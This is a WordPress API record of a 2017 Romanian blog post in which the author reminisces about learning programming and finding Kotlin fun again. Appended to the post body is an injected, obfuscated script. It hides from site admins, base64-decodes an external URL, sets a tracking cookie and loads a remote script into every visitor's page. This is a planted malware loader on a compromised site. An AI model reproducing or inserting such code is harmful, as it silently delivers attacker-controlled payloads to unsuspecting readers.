{"id":4781,"date":"2017-07-31T11:52:49","date_gmt":"2017-07-31T08:52:49","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4781"},"modified":"2025-10-17T19:57:59","modified_gmt":"2025-10-17T16:57:59","slug":"programatorus-plictisitus","status":"publish","type":"post","link":"https:\/\/daimon.me\/blog\/2017\/07\/programatorus-plictisitus\/","title":{"rendered":"Programatorus plictisitus"},"content":{"rendered":"<div class=\"entry\">\n<p>De pe un <a href=\"http:\/\/steve-yegge.blogspot.de\/2017\/05\/why-kotlin-is-better-than-whatever-dumb.html\">blog oarecare<\/a>, parafraz\u00eend:<\/p>\n<blockquote><p>&#8220;Kotlin face programarea distractiv\u0103. E amuzant\u0103 faza, nici nu ne d\u0103dusem seama c\u0103 programarea devenise plicticoas\u0103.&#8221;<\/p><\/blockquote>\n<p>Deci da! Fix a\u015fa!<\/p>\n<p>\u00cen facultate am \u00eenv\u0103\u0163at vreo 4 limbaje de programare (C, C++, Java, ba chiar pu\u0163in C# \u00een timpu&#8217; liber). Mi-au pl\u0103cut, a\u015fa, la suprafa\u0163\u0103. N-am f\u0103cut \u00eens\u0103 proiecte prea complexe. Doar chestii de antrenament, ca s\u0103 zicem a\u015fa.<\/p>\n<p>Apoi, hiatus. Vreo 5 ani, c\u00eet mi-am pierdut timpu&#8217; ca operator pc (<em>data entry clerk<\/em>). Am mai atins scripting de bash, culmea, cu ocazia explor\u0103rilor <a href=\"https:\/\/daimon.me\/blog\/2012\/09\/dupa-5-luni-zelist\/\">Zelist<\/a>.<\/p>\n<p>Am \u00eenceput apoi s\u0103 lucrez ca testator ((Tester?)), \u015fi m-am lovit cu nasul de cod scris \u00een C. Nu-i un limbaj ur\u00eet, dar nu-i nici sexy. Devine sexy fix c\u00eend devine \u015fi ur\u00eet, spre exemplu c\u00eend \u00eencepi s\u0103 sim\u0163i nevoia de pointeri la func\u0163ii. Sau s\u0103 folose\u015fti pointeri la pointeri. Chestii de-astea care dau co\u015fmaruri studen\u0163ilor. Fix atunci devine \u015fi fain, simultan. Da&#8217; tot lipse\u015fte ceva.<\/p>\n<p>Am mai programat, ba \u00een C ba \u00een C++, proiecte mici. De fiecare dat\u0103, mi-a pl\u0103cut s\u0103 fac chestiile de baz\u0103 .. \u015fi apoi m\u0103 loveam de un perete. Sim\u0163eam c\u0103 mi se love\u015fte proiectul de un zid de beton, de un soi de birocra\u0163ie a codului. Prea mult formalism, prea mult TEXT pentru a exprima ceea ce voiam s\u0103 fac. Dac\u0103 trebuie s\u0103 scriu 50 de r\u00eenduri pentru a face o chestie simpl\u0103, mi se usuc\u0103 tot chefu&#8217;.<\/p>\n<blockquote><p>(Kotlin) takes you back to when you were first learning programming and everything seemed achievable.<\/p><\/blockquote>\n<p>Da!<\/p>\n<p>Am \u00eenv\u0103\u0163at programare \u00eentr-o variant\u0103 de Basic. Am exersat pe alt\u0103 variant\u0103, \u015fi anume Q-Basic. Am desenat p\u0103tr\u0103\u0163ele \u015fi cercuri pe ecran, am generat sunete aleatorii, chestii de-astea amuzante \u015fi u\u015for accesibile. Am implementat arbori binari \u00een Turbo Pascal. Am \u00eenv\u0103\u0163at recursivitate tot pe Pascal. \u015ei-a fost fain. Era mi\u015fto. Erau chestii <em>powerful<\/em>.<\/p>\n<p>Pe bune, e cea mai fain\u0103 senza\u0163ie din lume, aia c\u00eend sim\u0163i c\u0103 \u00eencepi s\u0103 fii capabil de .. orice, practic vorbind.<\/p>\n<p>\u015ei-i trist s\u0103-\u0163i dai seama c\u0103 n-ai mai sim\u0163it a\u015fa ceva de ani buni. Lua\u0163i-o ca pe o reamintire, dac\u0103 sunte\u0163i programatori. Sau ca pe un avertisment, dac\u0103 sunte\u0163i \u00eenc\u0103 studen\u0163i :)<\/p>\n<p>Eu unul am b\u0103gat o copie de Android Studio 3, care are support pentru Kotlin. Deja \u015ftiu s\u0103 fac un buton care s\u0103 afi\u015feze mesaje pe ecranul telefonului. Mai ai de studiat doar c\u00eeteva mii de pagini de documenta\u0163ie. <em>E ok<\/em>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>De pe un blog oarecare, parafraz\u00eend: &#8220;Kotlin face programarea distractiv\u0103. E amuzant\u0103 faza, nici nu ne d\u0103dusem seama c\u0103 programarea devenise plicticoas\u0103.&#8221; Deci da! Fix a\u015fa! \u00cen facultate am \u00eenv\u0103\u0163at vreo 4 limbaje de programare (C, C++, Java, ba chiar pu\u0163in C# \u00een timpu&#8217; liber). Mi-au pl\u0103cut, a\u015fa, la suprafa\u0163\u0103. N-am f\u0103cut \u00eens\u0103 proiecte prea &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[40,45],"tags":[],"class_list":{"0":"post-4781","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-internet-si-tehnica","7":"category-jurnal","8":"anons"},"_links":{"self":[{"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4781","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4781"}],"version-history":[{"count":5,"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4781\/revisions"}],"predecessor-version":[{"id":5042,"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4781\/revisions\/5042"}],"wp:attachment":[{"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}